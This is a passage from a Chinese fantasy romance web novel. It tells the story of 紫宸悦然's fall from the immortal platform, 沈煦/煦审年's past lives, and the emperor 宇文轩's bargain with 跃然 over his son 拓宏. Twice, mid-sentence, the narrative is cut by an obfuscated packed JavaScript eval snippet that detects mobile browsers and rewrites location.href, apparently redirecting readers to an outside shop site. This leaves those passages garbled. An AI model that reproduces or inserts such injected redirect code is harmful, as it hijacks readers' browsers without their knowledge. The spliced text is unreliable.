他的手极轻极轻地松开了她的背。他没有问,没有出声,只是把她从自己怀里轻轻地放下来,极尽轻柔。然后他站起身。退了一步。又退了一步。一直退到另一侧的墙壁,背抵上冰冷的墙面。他的双手垂在身侧,攥得指节泛白,但脸上没有任何表情。 跃然没有注意到拓宏退开了。她的全部注意力都落在那个从墙角缓缓向前迈了一步的人身上。 当拓宏的遮挡移开,煦审年迈了一步。就一步。他想走近她,想说什么,嘴唇翕动着却张不开嘴。 他往前迈这一步时,跃然的身体本能地微微瑟缩了一下——不是恐惧,不是厌恶,是一种比恐惧和厌恶更复杂的、她自己也说不清的紧绷。像是怕他走近,又像是怕他走开。像是怕他一开口就会打碎什么,又像是怕他永远不开口。 煦审年看见了她那一瑟缩。他的脚步顿住了。就那样顿在离她几步远的地方,不敢再往前,也舍不得退后。两个人就这么望着彼此,中间隔着几步的距离——这几步,他们走了两辈子都没有走完。 目光最是关切地胶着在跃然身上却沉默不语的是拓石。他站在几步外,没有上前,只是远远看着,将这一切收进眼底,然后微微垂下眼睛。 拄着腮帮子坐在原地一副好笑的神情看热闹的是元炀崎。他原本想调侃两句,扇子都敲到手心了,但看了看跃然的表情,又看了看拓宏退到墙边的背影,硬是把话咽了回去。他把扇子往袖中一收。“欠我一条命。”走到门口时停了一步,没有回头,“下次还。” “太好了,有大侠在,跃然你一定安全!”拓云抓住跃然的手臂兴奋地摇晃。他完全没注意到殿内这一瞬间发生了什么,只顾着高兴。听到“大侠”二字,跃然身体震了一震。她转头看向拓云,声音还有些哑:“他叫什么?” 拓云抢着答道:“大侠叫煦审年!方才他自己说的!” 跃然轻轻重复了一遍这个名字。煦审年。沈煦。她把这两个名字放在唇齿间无声地念了一遍,又念了一遍。然后她忽然低低笑了一下,那笑意里没有怨恨,没有讽刺,只有一种历尽千帆后淡淡的了然。 她抬起头,再次望向墙角那个人。他正看着她,眼底的泪水终于没有忍住,无声地滑了一滴下来。但他没有擦。他只是看着她。 宇文轩在咳了两声,声音比方才更显疲惫。“安先生,跃然姑娘如何了?” 梧安重新为跃然诊过脉,眉头先皱后舒,最后竟微微扬起。“不止调和。她体内原本淤塞的经脉被五行之力完全冲开,紫蓝二力如今已能并行不悖——一道向外温养,一道向内敛藏,互不冲撞,反而相济相生。今后应是性命无忧。”他顿了顿,语气又沉下来,“只是她体内还有一个隐而未发的关窍似乎不曾打通。若打不通,未来或许成为她的死门。” 跃然听见了“死门”二字。她没有问,只是收回目光,低头看着自己摊开的双手。她忽然笑了一下,很淡,像自嘲,又像释然。死过两次的人,不怕死。还有什么可怕的吗?或许有,比如,再次被抛弃。那会很痛吧?可是,她已经死不了了。 宇文轩咳了两声,声音在安静的寝殿中显得格外沉重。“跃然姑娘,回到莲京后,你可短暂休息。三日后,朕为你举办受封大典。既然他们三个孩子认你为妹妹,你便是朕的女儿了。熙悦公主——这封号,你可喜欢?” 跃然从自己的思绪中抬起头,看着这位病骨支离却眼神炯亮的国君。她不喜欢这个封号,不喜欢做谁的公主,不喜欢被金笼锁住。但她没有说出口。她只是微微垂下了眼睛。他是帝王,她当众拒绝怕是不妥。 而煦审年站在墙角,从迈出那一步之后就再也没有上前。他只是看着跃然,眼底漆黑深沉,像有一片深海,所有的风浪都压在水面之下。 她真的变了很多,不是他二十年前认识的跃然了。但似乎又有什么没变,是横亘在他们心中那道坎。他忽然想起智叟临去前的那句话——“尊神,替老朽护好她。” 护好她。不是替她做决定,不是替她挡所有的风。是让她自己去经历,去选择,去觉醒。是在她需要的时候,他在;在她不需要的时候,他也在。那便,护好她。 窗外,晨光已透过窗棂,落在榻边散落的五行花瓣残影上。那些光点正在缓缓消散,像黎明时分退去的星辰,一粒一粒地沉入曦光深处。落在拓宏退到墙角后沉默的侧脸上,落在拓石始终沉稳如山的背影上,落在拓云哭着笑、笑着哭的脸上,落在元炀崎门后停在院中仰头看着那缕晨光时微微眯起的眼睛里。 跃然闭上眼。她体内的紫蓝二力正在缓缓流转,温热的,清凉的,像两条终于学会并肩流淌的溪流。她不知道未来还有什么在等她。但此刻,她还活着。他们还活着。 窗外天光渐亮,又是一个寻常的早晨。 17. 番外二·一语成谶青衫念 我终于明白,我活着的意义,不是为了恨,而是为了爱,为了活下去。 ——列夫·托尔斯泰《安娜·卡列尼娜》 “曦宇——上仙?她是——上仙?” 看着眼前这个乱发如草、横冲直撞忙着结界的淡紫色身影,苍野耔煦张了张嘴,碍于自己尊神的容止,硬咽下了即将冲出口的训斥。他的目光不动声色地扫过她沾满泥点的手背——那双刚及他腰间的小手正捏着一道七歪八扭的结界诀,指尖还勾着一根不知从哪里蹭来的狗尾巴草。 “你的青衫颜色真好,曦宇的天空要用这个颜色!”紫影子不知何时钻到了他的脚下,拉住了他的长衫下摆。 苍野耔煦俊雅的面上寒了一寒,拉起青白的宽袍抖开她脏兮兮的小手,另寻了条小路步向瑶池。 走出几步,他微微侧头——那双小手还保持着攥着他衣摆的姿势,悬在半空中,像被丢开的小兽还来不及收回爪子。 他收回目光,脚步没有停,暗下决心:一定要撤换近五千年来所有的点仙官,最好重新整饬一下仙籍。 身后不远处,苍宇承泽正立在一株古松之下,与司农仙官说着什么。他恰巧看见了这一幕——那团紫色的小身影蹲在原地,低头看着自己空空的手心,狗尾巴草从指尖掉在地上。 她蹲了一会儿,然后捡起草,继续追着蝴蝶跑了。苍宇承泽的目光追着她跑远,直到那抹紫色消失在瑶池边的花丛里,才收回视线,什么也没说。司农仙官问他方才那话如何答复,他顿了顿,说:“方才走神了,劳烦再说一遍。” “师兄,你闭关这三万年,新鲜事出了不少,最为狗血者当数这位曦宇上仙了!”苍珏安云拍了拍师兄的肩膀,做了一个极为夸张的表情。 “说说看。”耔煦扬了扬嘴角,似笑非笑地说。 “她就是天帝喜得的幺女啊,你我兼程赶来,就是为这位刚出生就即位上仙的小千金贺三千岁的生辰啊。”安云向身后努了努嘴。 “哦?本座听闻天帝的幺女,明明唤作悦然啊?说是该女笑声清悦,故此得名。”耔煦淡笑着向众仙点头应礼的间隙,回看了一眼身边的小师弟。 “她才刚会趴的时候,就奶声奶气地发愿要造一个温暖、光明、馨和、静睦的所在,供凡生繁衍。向天帝讨要了雨虹山方圆三十万里,自己取名叫曦宇,吵着让身边所有侍者都唤她做曦宇上仙、曦宇上仙……”苍珏安云故意口齿不清地重复着“曦宇上仙”四个字。 指了指下界的一片淡紫色所在,安云讪笑道:“那儿,就是这位帝女的曦宇王国。人家从不关心修炼之事,每天结界造物忙得不亦乐乎。三千年了,一级都没有飞升过。”他摊开手,做了个一无所有的动作。 “如此说,便是天帝把雨虹山赐给了自己的幺女堆积木玩?”苍野耔煦冷漠轻笑。 “哈,不愧是苍野尊神啊,连总结都这么精辟!”苍珏安云笑得合不拢嘴,声音也抬高了几分。 寿宴开始,众仙笑暄声此起彼伏,寿宴主角却始终不见踪影。天帝派仙婢找了三次,才见宴堂入口处跌跌撞撞飞进来一个紫色绒球。众仙定睛一看,才认出那个满脸泥色、满头草沫的紫球是传说中的曦宇上仙——紫宸悦然。 “悦儿,又这么贪玩!看将来哪有仙家敢娶你!”天帝笑嗔着爱女。 紫宸悦然低头思考半晌,而后突然扬起小脸:“悦儿不要别的仙家娶,悦儿要嫁他——”她伸出小手,指着低首默然饮茶的苍野耔煦:“他的衫子好看!” 宴席上瞬间哑静,而后一片哄堂。 苍野耔煦端着茶盏的手顿了一顿。他没有抬头,只是感觉到满殿仙僚的目光齐刷刷地落在自己身上。天帝座下第一尊神,被一个满脸泥色的小上仙当众指婚——他听见身后有仙官憋笑憋得呛了酒。他知道,这件事会在接下来的千年里,成为瑶池茶余饭后最经久不衰的笑谈。 他没有看向那个让他沦为笑柄的小帝女。他只看见坐在对面席间的苍宇承泽,正不动声色地收回目光,垂眼为自己续了一杯茶。 苍宇承泽今日穿了一身皓月白的长袍,眉目温润,和平时并无不同。但苍野耔煦注意到,他从悦然进殿的那一刻起,就没有再夹过菜。他什么也没说。他是五尊神中从不议论他人私事的人。 “耔煦,你意下如何?”天帝大笑着有意刁难,偏要看看自己座下的第一尊神如何犯难。 “咳……”苍野耔煦呛了口水,勉强对那张小脏脸笑了笑:“悦然真是惹人怜爱,来,叔叔给你备了礼物,看看你可喜欢?”他狠狠地加重了“叔叔”二字,将随身的一个流金长盒放在桌上。 本就是不喜通达俗情之神,赴宴前他未曾备礼。然而为了逃脱戏嘲,他割爱送出了自己的随身神器:青梧礼仁尺。 那一次以后,他再不穿青衫。 又过了三千年,耔煦总在听到众仙家议论“曦宇”二字时皱眉离去。这曦宇害他失去至宝,招来列仙哄笑,每想起来总引得他无比厌烦。 再后来,耔煦听说她将青梧礼仁尺立在曦宇国四极,号称树立曦宇的纲常秩序,他不由哂笑:“幼稚!神器流落人间,早晚要遭天谴!”他却总因为至宝所在,多多少少留意了曦宇国的消息。 偶尔有仙官来报,说曦宇上仙又去厚土神殿求取坤岳镇疆玺,说她把苍宇承泽堵在殿门口缠了整整三天,说承泽最后把本命至宝拱手相送时,脸色比被抢了道侣还要无奈。耔煦听了,冷哼一声,拂袖而去。他没有问苍宇承泽为何要答应——他不关心。 第二次见到她时,已是又过了三千年。 那是他大婚之夜,一道紫光闪入,掀翻了喜烛。 “谁容你如此放肆!”他怒目而视。 “你我早有定情之约,你怎可另行纳娶!”她手指曦宇四极。 “那青梧礼仁尺只是本座送给无知幼女的玩具!你莫要因为身为帝女就刁蛮无理!”他挥袖将她铲出喜堂。 不多久,她挣扎着爬回喜堂,拉着他艳红的喜袍扬起苍白的脸:“你还会不会娶我?”她语声悲切,他狠拉喜袍将她甩至墙角。 “呵呵,等吧,等你不再是帝君之女的时候!等你尝尽世间所有苦痛的时候!等你不再这么痴傻地求我的时候!”他愤怒地瞪她一眼,冷笑道。 她伏在墙角,很久没有动。然后她撑着地面慢慢站起来,拖着被摔裂的腿骨,一步一步挪出喜堂。她没有哭。她只是在门槛上绊了一下,然后扶住门框,站稳,继续走。殿外的仙婢想要上前搀扶,被她抬手止住。 她没有回头看他一眼。他也没有看她的背影。但苍野耔煦那夜没能安寝。他坐在被掀翻的喜烛旁,坐了很久。地上还留着她离开时拖出的那道血痕。他盯着那道血痕看了很久,然后挥袖将它抹去。抹得干干净净,像什么都没发生过。 那以后,曦宇国的雨,下了整整三年。 那以后,他又听说她仗着自己的帝女身份,厚颜无耻地向四方尊神讨要了四样神器,然后以德、法、儒、道、佛的名义赐予凡间诸国。 仗天之德,搅乱仙凡!一怒之下,苍野耔煦一纸诉状,将紫宸悦然告上仙庭。谁在乎她是什么天帝之女!妄降神器,就是触犯了天条!他的告状字字尖刻,逼得司法仙官不敢再替悦然托词敷衍。 行刑那天,他再次见到悦然。 那一天,她第一次穿上属于上仙的朝服,皓白长裙的裙角,嵌绣着标识品阶的上仙图案,用的是曦宇天空的那道蓝。她一头青丝如瀑,飘散在肩。 那一天,苍野耔煦第一次看清了她的脸:清淡,恬然,像一朵刚刚绽放的茈草花,洁白、淡雅。 她沉默地跪立在诛仙台上,受了三百刑棍,没有呻吟一声。 而后,她抬起衣袖擦干渗血的嘴角,踉跄着起身,转头跪拜向泪眼婆娑的天帝夫妇:“悦然不孝,让父君母后蒙羞!” 她将诛仙台上的众仙神环视了一遍,淡然说道: “悦然妄自将神器赐予凡间,只因天地铸于五行,五行生发五念。金木水火土,五位尊神的五件神器,正是生发‘德法儒道佛’的最好渊源。人间生灵万物,轮回受难,并非参不透乾坤玄妙,而只是容不了天道五常。”悦然的声音越发虚弱,身上的白袍已被血色浸染。仙婢们正要上前搀扶,她却抬手将她们止住。 “悦然修行尚浅,结成的曦宇国尚在蒙启之端。只愿凡界的国土上,德法儒道佛,五常玄顺流转,它们所生发的‘承载、公正、仁爱、真朴、慈悲’能代代续传。” 她再次挣扎着站起,“悦然早闻生为天帝子嗣,均有一条特权,那就是可将全部仙力,化为一则天条。悦然今日便愿永生放弃仙藉,堕入轮回,只求能将五件神器,常留人间。” 她就这样跳下了诛仙台,临去前,甚至没有多看他一眼。 苍野耔煦站在众仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632081|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之中,一动不动。他看见她的衣带在风中翻卷,那道被血色浸透的皓白身影从诛仙台边缘坠落,越来越小,越来越小,直到被云海吞没。他听见身后有仙官在叹息,听见苍珏安云哑着嗓子喊了一声“悦然”,但他什么也听不真切。他只是盯着那片云海,盯了很久。 然后他看见了一道身影。 苍宇承泽从人群中冲出,冲向诛仙台边缘,没有半分迟疑。他的皓月色衣袍在风中翻卷了一下,整个人便朝着那片云海直直坠了下去。众仙中有人惊呼,有人伸手去拦,但只来得及触到他衣袍的一角。他没有回头。他甚至没有留下一句话。 紧接着,一道无形的屏障在诛仙台下轰然展开——那是悦然立下的终极神谕之力,隔绝了轮回轨迹。苍宇承泽的身体撞上那道屏障,被反弹回来,重重摔在诛仙台下的石阶上。 他没有发出声音,但周身的神光在一瞬间黯淡了下去。神谕余波将他周身神骨震裂,他撑着石阶想要站起来,却只撑起一半便再次跪倒。 没有人知道他为什么跳下去。没有人知道他在那千分之一瞬里想的是什么。 苍野耔煦站在人群中,看着苍宇承泽被仙侍抬走。他没有上前。他只是站在原地,看着那片云海,看了很久。 很久以后他才知道,苍宇承泽那一跳,损了大半法力,再也无法以尊神之身留在天界。 他坠入曦宇凡尘,踏入轮回。 从那以后,他便一直在蔚魄大陆辗转——悦然前九世都不在这片大陆上,只有他在这里,替她守着这片她亲手缔造的土地,守了九千年。 九千年后,到了苍野耔煦下凡历劫的时候。他先去紫金宫拜谒天帝,天帝竟已颓老不堪。 天帝指着人间,幽幽地说:“九世了,尔等只道我是天帝,尊荣无限,而我此刻,也只是个眼睁睁看着自己女儿受苦的无能老夫而已啊!” 耔煦低下头,心中荡过她悲愤的逼问:“你还会不会娶我?”那一次,他的心,痛了。 回神殿后,他将悦然九世的轮回细细翻看了一遍又一遍。 每一世,她都在等一个人。每一世,那个人都没有来。 每一世她孤苦无依时,是苍宇承泽的转世在凡尘里替她守着曦宇的疆土;每一世她病重垂危时,是苍宇承泽的神魂在轮回中为她续着那片大陆的生机;每一世她含恨离世时,那个撞碎神骨坠入凡尘的人,就站在离她很远很远的地方,替她看顾着她亲手缔造的子民。而他苍野耔煦——她的每一世轮回里,都没有他。一页都没有。他翻遍了九世的册子,自己的名字干干净净,像在这十生十世的因果里,从未存在过。 他合上轮回册,修书和离,遣散了家婢,下凡渡劫。 他选择的是悦然第十世的时空。 “你好,我叫沈煦。”他将散落在地上的书捡起,送还到黎跃然面前。和煦的阳光下,他穿着一件青白的衬衫。 “从今天起,黎跃然,你的名字就是黎悦然!愉悦、安然!我要让你从此无忧无虑,做世界上最幸福的女人……”死生契阔,与子同悦,执子之手,与子偕老。婚礼上,他在她的耳边喃喃许愿。 “我沈煦这辈子最后悔的事,就是没保护好她。”医院门口遇到的怪老头居然说他沈煦有仙神,可用他的精魂换取异世重生的机会,老头还用幻术让他看见了雨虹山洞中尚未苏醒的跃然。那一刻,他是感激的。直到智叟救了他,他才知一切都不过是骗局一场。 “师父,今后,弟子只愿追随师父修取凡身。今后,我便是您的徒弟,我叫煦审年。”回曦宇前的那个夜晚,他看到的是护住了他魂魄的智叟,一个紫眸的、常带笑容的老头。 那刻,他万年神智全然苏醒。他知道了,其实怪老头所说的精魂是他的元核;其实,没有了元核,他在异世只消七日便会魂飞魄散,根本熬不过再见跃然。 “多谢师父助审年夺回元核!”他单膝跪地行了拜师礼。元核周身运转后,他却自封了法力。 “不回去吗?你此劫已过,此刻飞升是最好时机。”智叟眯着眼睛问。 他笑了笑,没有回答。 谁是谁的城,心门驰骋杳无踪,空影筑情冢; 谁是谁的虹,青衫凉透待晴空,斑斓囚梵静。 紫宸悦然,这一次,我苍野耔煦会穿着青衫,生生世世,守在你的身边。不管曾经的那一语,是生死的谶难,还是幸福的预言。 18. 做个交易 重要的不是治愈,而是带着病痛活下去。 ——阿尔贝·加缪《西西弗神话》 莲京的暮秋,天黑得格外早。最后一缕夕光从琉璃瓦上滑落时,檐角的风铃忽然齐齐响了一声,像是这座千年王城在暮色里叹了口气。宫人们悄无声息地点亮了回廊上的灯笼,一盏接一盏,沿着御道两侧蔓延开去,如一条伏在暮色里的火龙,将整座皇宫拢入一种昏黄的、不真实的静谧之中。 跃然已经在茗轩宫里休养了一日。青儿替她梳头时絮絮地说起宫里今日的传闻,说陛下深夜召见了智叟的弟子煦审年,封了他做侍卫统领,专司宫禁,连梧冲庭见了他都低头行礼。跃然听着,没有接话。昨夜,沈煦终究没有再向前一步,他们终究没有再说一句话。 “刚才陛下遣人来说,姑娘若是有精神,随时可以去见他。”青儿替她拢好最后一缕发丝,轻声说。 宇文轩在等她。跃然知道,这一面终究是不可避免的,她点了点头。 宫人引她穿过重重回廊时,天边最后一抹灰蓝正被墨色吞没。她被带到一座古亭前,宫人便退下了。亭中一盏孤灯,灯芯是新换的,火苗笔直地向上烧着,一丝烟也无。 宇文轩背对着她,正仰头望着檐角风铃。他没有穿皇袍,只着了一件暗青色的常服,袖口绣着极淡的云纹,背在身后的手指有一下没一下地轻叩着——但那叩击的节奏并不均匀,偶尔会停两拍,像是手指的主人忽然走了神,又像是他在用叩指的动作压住某种从胸腔深处涌上来的不适。听见她的脚步声,他叩指的动作停了。 “你来了。”他没有回头,声音里带着一丝意料之中的淡笑,“朕还在想,你要在茗轩宫里躲几天才肯开口。” 跃然立在亭外,对他鞠了一躬。让她向古人一样跪拜行礼,她目前还做不到。“陛下,跃然此来,是想请您收回封公主的旨意。” 宇文轩转过身,借着灯光打量她。这个只及他胸口的小女孩站在暮色里,背挺得很直,语气不卑不亢,全然不像一个十岁的孩子。他微微眯起眼,像是在重新估量一件他以为自己已经看透的物件。 “怎么,熙悦公主这封号不好听?” “与封号无关。”她迎上他的目光,“拓石和拓云认我做义妹,是他们待我的情分。陛下封我为公主,是朝廷的名分。情分我领,名分我不要。我迟早要离开曦宇,不想日后辞行时,还要先卸了公主的冠。” 宇文轩没有立刻应答。他走到亭中石桌前坐下,抬手示意她也坐,然后提起茶壶亲自斟了两杯茶。 茶汤澄碧,在暮秋的冷空气里泛着袅袅白汽——但跃然注意到,他提起茶壶时腕骨微微晃了一下,那壶并不重,是手在晃。宇文轩似乎也察觉到了,很快将壶放回原处。跃然没有坐,只是站在他对面,等他开口。 “是今年新采的雨前龙芽,你尝尝。” “陛下,我只想看看关于紫眸来历的古籍,其他我都不在乎。只要明晰了我的来历,我自然会找到我的去处,但一定不是留在这皇宫里。”跃然坦然说道。 “你想查阅的那些典籍,”他端起茶杯,语气漫不经心,像是在闲话家常,“都在皇室秘阁之中。曦宇祖制,秘阁典籍非皇室子弟不得翻阅,违者以窃国论处。朕若是不封你为公主,你连秘阁的门都进不去——不是朕不让,是规矩不让。” 他呷了口茶,抬起眼看着她,“朕可以为你破例封公主,已经惹得朝中不少老臣侧目。若是连公主的名分都不给你,朕拿什么堵他们的嘴?朕的朝堂上,可不止一个拓石。”他说这话时嘴角挂着一丝若有若无的笑意,像是在说一桩无关紧要的事,“你若再现紫眸,不在曦宇皇宫,走到哪里,怕都是众矢之的。” 她沉默了一瞬。“好,那典籍我不看了,请放我现在离开。”不过一个来历,不好奇也罢。 宇文轩眼中闪过一丝的惊讶,随即被笑意掩盖。他放下茶盏,手指在石桌边缘轻轻敲了两下,“小丫头,朕与你做个交易,如何?” 他没有等跃然回答,便径自说了下去。 “十年前,朕请高人为宏儿推过一卦。卦辞说:‘龙渊泣血千川赤,帝归黄土万仞尘。’他自幼孤苦,戾气太重,那卦辞朕琢磨了十年,始终不得其解——直到朕得知,他为你,差点殒命。” 宇文轩的目光忽然变得极深,像一口古井映着月光,“跃然姑娘,你或许自己都不知道,你是这世上第一个能让宏儿不顾一切保护的人。朕不需要你做别的。五年内,你若能令他放下仇恨,不再继续皇位,恪守亲王之道,朕便还你自由之身。” 跃然被宇文轩的话拿捏住了,是的,她还要还救命之恩。不止是拓宏,还有拓石和拓云。她也不想看着兄弟三人自相残杀。看着宇文轩苍老的眼睛,跃然忽然问:“拓宏为什么恨?” 古亭中忽然安静得只剩风声。风铃在檐角不安地晃动,发出一串细碎而凌乱的脆响,像是有什么看不见的手在拨弄它们。 宇文轩端着茶盏的手停在了半空中,茶汤微微晃动,一圈细密的涟漪从杯沿向内扩散,又向外荡开,周而复始,无处可去。他看了跃然许久,然后把茶盏放回桌面,发出一声极轻的脆响。 “宏儿的母王,名唤梧苒。”他开口了,声音比之前低沉了许多,像是在开启一扇尘封了太久的门,连他自己都不确定门后还有什么,“她是青岚国的末代君主。十岁那年,她被送到曦宇国做质子。” 他慢慢回忆着,像用手指轻轻拂过一柄已经锈蚀的匕首——刀锋不再锋利,但刃口的锯齿还在,碰一下,还是疼的。跃然站在亭中,安静地听他用一种近乎苍凉的声音,讲述一段已经结了十三年的旧账。 三十一年前,青岚国将年仅十岁的王女梧苒送入曦宇为质。那时的宇文轩还不是轩王,只是一个在继位途中随时可能死于非命的熙坤王。两个少年在深宫的夹缝里相遇,他护她周全,她怜他孤苦。 十二年后,宇文轩助她潜逃回国,登上王位。登基后的梧苒暗中输力,助他铲除异己,扫清继位之路上最后的障碍。又过了七年,宇文轩的爱妃若蓠失踪,梧苒不顾朝中重臣死谏,动用了青岚分布在各国的情报暗桩,替他追查了整整三个月。人找回来了,但以情报立国的青岚——暗桩暴露,消息网尽废。那是青岚用数百年时间布下的根基,一朝尽毁。 “那一夜,梧苒亲手把自己交给了朕。”宇文轩说这句话时声音很轻,轻得像是怕惊扰什么沉睡已久的东西,“情报网废了,青岚的屏障没了。她知道迟早会有人来犯——瓦鲁不会放过她,她得罪过的人都不会放过她。她来求朕一个承诺:若青岚有难,曦宇必救。她以为朕会答应。她把青岚的百年根基和自己的清白之身一起摆在了朕面前——那是她最后的筹码。朕收下了。但那个承诺,朕没有给。朕以为她是在和朕做交易——用自己换朕的兵。朕收下了她,却没给她那句话。” 他停了片刻,声音忽然哽了一下,像刀片划过青石。“三年后,瓦鲁国国王元雪宸连横西南十余小国,以报当年掠人之仇为名,围攻青岚。鏖战三个月,物资枯竭,危在旦夕。梧苒遣使向曦宇求援——朕没有发兵。朕以为她会来求朕。朕以为她会像三年前一样,再次跪在朕面前,用那双从来没有认过输的眼睛看着朕——求朕。朕等了三天。” 他的手指按在那方白绢上,指尖泛白。“第一天,朕在御书房批折子,每一步脚步声都以为是她来了——没有。第二天,朕在朝会上等她的使臣递第三道求援书——没有。第三天,朕的密探来报,青岚城门已破。她没有来求朕。她遣走了身边所有的死士,让他们护卫年仅三岁的宏儿杀出重围,将他送还到朕的面前。那时候,宏儿还叫梧逸轩。宏儿怀里,是她的一封血书。” 他从袖中取出一方叠得整整齐齐的白绢,绢面已经泛黄,边缘起了细细的毛边,显然被摩挲过无数次。他没有展开给跃然看,只是将它轻轻按在石桌上,指尖压住绢角,像是在压住一段随时会重新撕裂的旧伤。 “梧苒此生,误贪情念,竖子无罪,此生托盼。” 跃然的眼眶忽然热了。不是因为悲伤——是因为一种深及骨髓的无力感。那个女人用最后的力气写下的十六个字,没有一个字是恨。她说竖子无罪。 她把自己的儿子托付给一个她明知道不会来救她的男人。不是因为信任,是因为别无选择。她求的是一个承诺,他给的是沉默。她以为沉默是默认,他以为她明白沉默就是拒绝。她用三年时间去等那个沉默变成援兵,等到城破了,等到自己死了,也没等到。 “你为什么不救她?”跃然紧握双拳,听见自己的声音在发抖,“‘梧逸轩’——‘吾忆轩’。她给这个孩子取的名字,是为你。她用自己的一生来纪念你,你连援兵都不肯发?她不是在和你做交易——她是在求你!她把自己都给了你,你还想要她怎样?” 宇文轩闭上了眼。“因为,朕和她那一夜,被她下了药。” 跃然怔住了。 风铃忽然齐齐静止。不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632082|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风停了——是那种突如其来的死寂,像整个庭院都被一只无形的手捂住了嘴。跃然站在亭中,隔着一盏孤灯望着宇文轩的脸。那张脸上没有愤怒,没有委屈,只有一种被时光反复冲刷后剩下的、灰烬般的疲惫。 “你根本没爱过她,对吧?”良久,她低声问了一句,语气里没有质问,只有一种替梧苒感到的、彻骨的悲凉。 “朕与若蓠,青梅竹马,心意互达,心中再无他人。”宇文轩的声音终于有了一丝裂痕,“朕本想用她的国惩罚她,胸有成竹地认为能在最后一刻救回她。千算万算,却未曾算到她为朕生下了一个儿子。未曾算到,她在最后一刻用自己的生命,保住了朕的血脉。” 最后一句话,他没有用“朕”。他说的是“朕的血脉”,但跃然听见的,是一个男人在十三年前就已经被压垮的自责。 “所以,这曦宇国的王位本就应该是拓宏的。你欠梧苒的,也欠拓宏的。所以你可以纵容他有自己的军队,有自己的亲卫,甚至纵容他谋权篡位。”跃然终于明白拓宏可以如此妄为的原因。不是宇文轩不知道——是他不敢管。 “跃然姑娘,”宇文轩忽然抬起眼,那双温润的眼睛里此刻没有帝王的威严,只有一种近乎脆弱的疲惫,“曦宇的王位只能由石儿来坐。在曦宇,有一条玄律——只有国王和自己最心爱的女人所生的孩子,才能成为熙坤王。熙坤王是命定的,在他们出生的一刹那,天边会闪现七彩霞光,这便是灵宙。如若熙坤王不能顺利继位,曦宇的子民将遭受一场最惨烈的涂炭。这曦宇玄律,便是曦宇国在曦宇大陆——这凝聚天地灵洁之气的宝地——立国的代价。”他顿了顿,声音低下去,“而意图夺位之人,也必将受到玄律的诅咒,不得善终。” 跃然沉默了。她想起拓宏在野苑里挡在她面前一步不退的样子,想起他在温泉边低垂着眼睛说“你不欠我什么,不必为报恩留下来”。她忽然明白了宇文轩为什么要和她做这个交易。他不是怕拓宏夺位,他是怕拓宏夺位之后,被这玄律吞噬。 “我没办法帮你,”她终于开口,“我没办法说服拓宏不恨你。” 宇文轩忽然笑了。那笑声里没有嘲讽,没有苍凉,只有一种苦涩到极点的了然。“朕知道。朕只是希望你在他的身边,能让他的戾气少一分,是一分。他身边的人不多,朕不能再失去一个儿子。” 他站起身,背对着跃然,将染了血的白绢重新折好,收入袖中。晚风将他暗青色的衣袍吹得猎猎作响,他的脊背仍然努力挺直,但跃然分明看见,他袖中的手指在微微发颤。 “宏儿的仁远殿右侧,是朕当年为梧苒建造的茗轩宫。梧苒生前最喜桃花,此时正值暮秋,桃花早已落尽。但来年春天,你会看见满庭粉红。希望你在那里——住得习惯。” 跃然看着那始终背对着自己的曦宇王坚忍挺直的背影,咽下了所有的指责。她转身随宫人走了,走出很远,回头望了一眼古亭。孤灯之下,宇文轩仍然立在那里,像一尊被钉在暮色里的旧雕塑。她忽然想起梧苒那十六个字——误贪情念。梧苒误的是情,她跃然误的又是什么?她还没想出答案。 天色已经昏暗了。她跟着提灯的宫人走在王宫蜿蜒的青石路上,脚下是湿漉漉的青石板,缝隙里生着薄薄的苔藓,在灯笼的微光下泛着幽幽的绿。她脑中全是那十六个字。误贪情念。竖子无罪。她把儿子托付给一个她明知不会来救她的男人——不是因为信任,是因为别无选择。跃然自己想,她或许也懂那种赴死的决绝。她曾经也是扑过火的,只是梧苒死了,她还活着。死不了,就得活着。 就在她转过最后一道回廊时,身后忽然传来一阵急促而整齐的脚步声——是禁军。火把从宫门方向蔓延过来,像一条烧着了的蛇,蜿蜒着吞噬了整条御道。马蹄声、甲胄碰撞声、宫人尖细的通报声混在一起,被夜风撕成碎片,又被一声递一声地传过来——“公主回宫——速报——!” 跃然站住了。宫人也站住了。禁军的脚步声踏碎了莲京夜晚的寂静,火把的光映红了半边宫墙,将所有人的影子拉得又长又扭曲。传报的声音终于清晰了,一字一句,如同钝器敲击在青铜钟上——“拓夏公主回宫!拓夏公主回宫!” 跃然愣在原地。拓夏。死在和亲路上的公主,回来了?她裹紧了外袍,对着那传报的方向默然伫立,风忽然变得凛冽了。空气中隐隐浮动着一种不属于暮秋的气息——那是桃花香。淡淡的,若有若无的,像是有谁从春天的枝头折了一枝桃花,藏在了袖中。 19. 拓夏回宫 请赐我以宁静,去接受我所不能改变的;请赐我以勇气,去改变我所能改变的;请赐我以智慧,去分辨这两者的不同。 ——莱因霍尔德·尼布尔《宁静祷文》 拓夏回宫的消息,在半个时辰内传遍了整座皇宫。最先赶到宫门口的是拓云。他从仁坤殿一路狂奔过来,衣袍跑乱了,鞋也跑掉了一只,赤着一只脚踩在冰冷的青石上浑然不觉。 他推开拦路的宫人,冲到那辆马车前,看见车帘掀开,一个穿着淡紫色长裙的少女从车上缓缓走下。她的眉眼和记忆中一模一样,只是比小时候高了些,瘦了些,脸色有些苍白,像是大病初愈。她站在火把的光晕里,像一株被霜打了又活过来的紫藤,柔弱得让人心口发紧。 